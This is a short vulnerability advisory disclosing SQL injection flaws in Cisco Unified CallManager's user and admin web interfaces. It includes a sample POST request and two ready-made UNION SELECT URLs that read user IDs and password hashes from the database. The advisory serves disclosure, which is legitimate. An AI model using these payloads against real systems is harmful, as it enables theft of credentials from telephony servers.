`Portcullis Security Advisory 07_016  
  
  
Vulnerable System:   
  
Cisco Unified CallManager  
  
  
Vulnerability Title:   
  
Multiple SQL Injections In User And Admin Interface  
  
  
Vulnerability discovery and development:   
  
Nico Leidecker of Portcullis Computer Security Ltd discovered this  
vulnerability. Further research was then carried out.  
  
  
Affected systems:   
  
System Version: 5.0.4.2000-1 and 5.1, 6.0-6.1.  
  
  
Details:  
  
The Cisco Unified CallManager is vulnerable to multiple SQL injections in the  
user interface as well as in the administration interface.   
  
The value of the 'key' parameter used in various GET requests is not properly  
sanatized and it is therefore possible to inject SQL queries.  
  
In addition, the application discloses table and attribute names in the  
'primaryTable'and 'dispCols' parameters of some POST requests. Another SQL injection point  
can be found there.  
  
The following is a simplified POST request:  
  
POST   
/ccmuser/personaladdressbookFindList.do?%3C%=reqParams%%3E&recCnt=1&colCnt=4  
HTTP/1.1  
Host: example.org  
Referer: https://example.org/ccmuser/personaladdressbookFindList.do  
Cookie: JSESSIONID=D650CB2B43F85CD8D260B69A948FA7B5;  
JSESSIONIDSSO=315C472AA4B90A6765D4EDEFAC24897C  
Content-Length: 170  
  
org.apache.struts.taglib.html.TOKEN=9a4f6e1e4e11a72ed4be0981c26e6f53&  
primaryTable=personaladdressbook&dispCols=pkid%23nickname%23firstname%23lastname&  
searchField=nickname  
  
Impact:  
  
Attackers need access to either the user or administration interface. They then  
might be able to read data from the database such as password hashes.  
  
Exploit:  
  
Proof of concept exploit code is not required. The injection points are the 'key' or the   
primaryTable' and 'dispCols' parameters.  
  
E.g.:   
  
https://example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+  
SELECT+'','',firstname,lastname,userid,password+from+enduser;--   
  
or  
  
https://example.org/ccmuser/personaladdressbookEdit.do?key='+UNION+ALL+  
SELECT+'','','',user,'',password+from+applicationuser;--
